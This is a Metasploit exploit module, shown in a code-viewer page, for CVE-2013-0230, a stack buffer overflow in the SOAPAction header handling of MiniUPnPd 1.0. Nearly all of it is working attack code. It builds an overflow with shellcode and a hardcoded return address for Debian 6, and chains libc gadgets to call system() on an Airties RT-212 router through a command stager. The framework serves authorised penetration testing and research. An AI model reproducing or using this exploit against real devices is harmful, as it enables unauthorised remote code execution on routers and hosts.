Book a Demo!
CoCalc Logo Icon
StoreFeaturesDocsShareSupportNewsAboutPoliciesSign UpSign In
rapid7
GitHub Repository: rapid7/metasploit-framework
Path: blob/master/modules/exploits/linux/upnp/miniupnpd_soap_bof.rb
54024 views
1
##
2
# This module requires Metasploit: https://metasploit.com/download
3
# Current source: https://github.com/rapid7/metasploit-framework
4
##
5
6
class MetasploitModule < Msf::Exploit::Remote
7
include Msf::Exploit::Remote::HttpClient
8
include Msf::Exploit::CmdStager
9
10
Rank = NormalRanking
11
12
def initialize(info = {})
13
super(
14
update_info(
15
info,
16
'Name' => 'MiniUPnPd 1.0 Stack Buffer Overflow Remote Code Execution',
17
'Description' => %q{
18
This module exploits the MiniUPnP 1.0 SOAP stack buffer overflow vulnerability
19
present in the SOAPAction HTTP header handling.
20
},
21
'Author' => [
22
'hdm', # Vulnerability discovery
23
'Dejan Lukan', # Metasploit module, debian target
24
'Onur ALANBEL', # Exploit for Airties target
25
'Michael Messner <devnull[at]s3cur1ty.de>' # Metasploit module, Airties target
26
],
27
'License' => MSF_LICENSE,
28
'DefaultOptions' => { 'EXITFUNC' => 'process' },
29
'Platform' => 'linux',
30
'References' => [
31
[ 'CVE', '2013-0230' ],
32
[ 'OSVDB', '89624' ],
33
[ 'BID', '57608' ],
34
[ 'URL', 'https://www.rapid7.com/blog/post/2013/01/29/security-flaws-in-universal-plug-and-play-unplug-dont-play']
35
],
36
'Payload' => {
37
'DisableNops' => true
38
},
39
'Targets' => [
40
[
41
'Debian GNU/Linux 6.0 / MiniUPnPd 1.0',
42
{
43
'Ret' => 0x0804ee43, # pop ebp # ret # from miniupnpd
44
'Offset' => 2123,
45
'Arch' => ARCH_X86,
46
# the byte '\x22' is the '"' character and the miniupnpd scans for that character in the
47
# input, which is why it can't be part of the shellcode (otherwise the vulnerable part
48
# of the program is never reached)
49
'Payload' =>
50
{
51
'Space' => 2060,
52
'BadChars' => "\x00\x22"
53
},
54
:callback => :target_debian
55
}
56
],
57
[
58
'Airties RT-212 v1.2.0.23 / MiniUPnPd 1.0',
59
{
60
'Offset' => 2048,
61
'LibcBase' => 0x2aabd000,
62
'System' => 0x00031AC0,
63
'CallSystem' => 0x0001CC94, # prepare $a0 and jump to $s0
64
'Fingerprint' => 'AirTies/ASP 1.0 UPnP/1.0 miniupnpd/1.0',
65
'Arch' => ARCH_MIPSBE,
66
:callback => :target_airties
67
}
68
]
69
],
70
'DefaultTarget' => 0,
71
'Privileged' => false,
72
'DisclosureDate' => '2013-03-27',
73
'Notes' => {
74
'Stability' => [CRASH_SAFE],
75
'SideEffects' => [ARTIFACTS_ON_DISK],
76
'Reliability' => []
77
}
78
)
79
)
80
81
register_options([
82
Opt::RPORT(5555),
83
])
84
85
deregister_options('CMDSTAGER::DECODER', 'CMDSTAGER::FLAVOR')
86
end
87
88
def check
89
begin
90
res = send_request_cgi({
91
'method' => 'POST',
92
'uri' => '/'
93
})
94
rescue ::Rex::ConnectionError
95
return Exploit::CheckCode::Safe
96
end
97
98
fingerprints = targets.collect { |t| t['Fingerprint'] }
99
fingerprints.delete(nil)
100
101
if res && fingerprints.include?(res.headers['Server'])
102
vprint_status("Fingerprint: #{res.headers['Server']}")
103
return Exploit::CheckCode::Detected
104
end
105
106
Exploit::CheckCode::Unknown
107
end
108
109
def exploit
110
unless respond_to?(target[:callback])
111
fail_with(Failure::BadConfig, 'Invalid target specified: no callback function defined')
112
end
113
114
send(target[:callback])
115
end
116
117
def target_debian
118
#
119
# Build the SOAP Exploit
120
#
121
# jmp 0x2d ; jump forward 0x2d bytes (jump right after the '#' char)
122
sploit = "\xeb\x2d"
123
124
# a valid action
125
sploit += 'n:schemas-upnp-org:service:WANIPConnection:1#'
126
127
# payload
128
sploit += payload.encoded
129
130
# nops
131
sploit += rand_text(target['Offset'] - sploit.length - 16)
132
133
# overwrite registers on stack: the values are not used, so we can overwrite them with anything
134
sploit += rand_text(4) # overwrite EBX
135
sploit += rand_text(4) # overwrite ESI
136
sploit += rand_text(4) # overwrite EDI
137
sploit += rand_text(4) # overwrite EBP
138
139
# Overwrite EIP with addresss of "pop ebp, ret", because the second value on the
140
# stack points directly to the string after 'Soapaction: ', which is why we must
141
# throw the first value on the stack away, which we're doing with the pop ebp
142
# instruction. Then we're returning to the next value on the stack, which is
143
# exactly the address that we want.
144
sploit += [target.ret].pack('V')
145
146
# the ending " character is necessary for the vulnerability to be reached
147
sploit += '"'
148
149
# data sent in the POST body
150
data =
151
"<?xml version='1.0' encoding=\"UTF-8\"?>\r\n" \
152
"<SOAP-ENV:Envelope\r\n" \
153
" SOAP-ENV:encodingStyle=\"http://schemas.xmlsoap.org/soap/encoding/\"\r\n" \
154
" xmlns:SOAP-ENC=\"http://schemas.xmlsoap.org/soap/encoding/\"\r\n" \
155
" xmlns:SOAP-ENV=\"http://schemas.xmlsoap.org/soap/envelope/\"\r\n" \
156
">\r\n" \
157
"<SOAP-ENV:Body>\r\n" \
158
"<ns1:action xmlns:ns1=\"urn:schemas-upnp-org:service:WANIPConnection:1\" SOAP-ENC:root=\"1\">\r\n" \
159
"</ns1:action>\r\n" \
160
"</SOAP-ENV:Body>\r\n" \
161
"</SOAP-ENV:Envelope>\r\n"
162
163
#
164
# Build and send the HTTP request
165
#
166
print_status("Sending exploit to victim #{target.name}...")
167
send_request_cgi({
168
'method' => 'POST',
169
'uri' => '/',
170
'headers' => {
171
'SOAPAction' => sploit
172
},
173
'data' => data
174
})
175
176
# disconnect from the server
177
disconnect
178
end
179
180
def target_airties
181
print_status("Sending exploit to victim #{target.name}...")
182
execute_cmdstager(
183
flavor: :echo
184
)
185
end
186
187
def execute_command(cmd, _opts)
188
# Build the SOAP Exploit
189
# a valid action
190
sploit = 'n:schemas-upnp-org:service:WANIPConnection:1#'
191
sploit << rand_text_alpha_upper(target['Offset'])
192
sploit << [target['LibcBase'] + target['System']].pack('N') # s0 - address of system
193
sploit << rand_text_alpha_upper(24) # $s1 - $s6
194
sploit << [target['LibcBase'] + target['CallSystem']].pack('N')
195
# 0001CC94 addiu $a0, $sp, 0x18
196
# 0001CC98 move $t9, $s0
197
# 0001CC9C jalr $t9
198
# 0001CCA0 li $a1, 1
199
200
sploit << rand_text_alpha_upper(24) # filler
201
sploit << cmd
202
203
# data sent in the POST body
204
data =
205
"<?xml version='1.0' encoding=\"UTF-8\"?>\r\n" \
206
"<SOAP-ENV:Envelope\r\n" \
207
" SOAP-ENV:encodingStyle=\"http://schemas.xmlsoap.org/soap/encoding/\"\r\n" \
208
" xmlns:SOAP-ENC=\"http://schemas.xmlsoap.org/soap/encoding/\"\r\n" \
209
" xmlns:SOAP-ENV=\"http://schemas.xmlsoap.org/soap/envelope/\"\r\n" \
210
">\r\n" \
211
"<SOAP-ENV:Body>\r\n" \
212
"<ns1:action xmlns:ns1=\"urn:schemas-upnp-org:service:WANIPConnection:1\" SOAP-ENC:root=\"1\">\r\n" \
213
"</ns1:action>\r\n" \
214
"</SOAP-ENV:Body>\r\n" \
215
"</SOAP-ENV:Envelope>\r\n"
216
217
send_request_cgi({
218
'method' => 'POST',
219
'uri' => '/',
220
'headers' =>
221
{
222
'SOAPAction' => sploit
223
},
224
'data' => data
225
})
226
end
227
end
228
229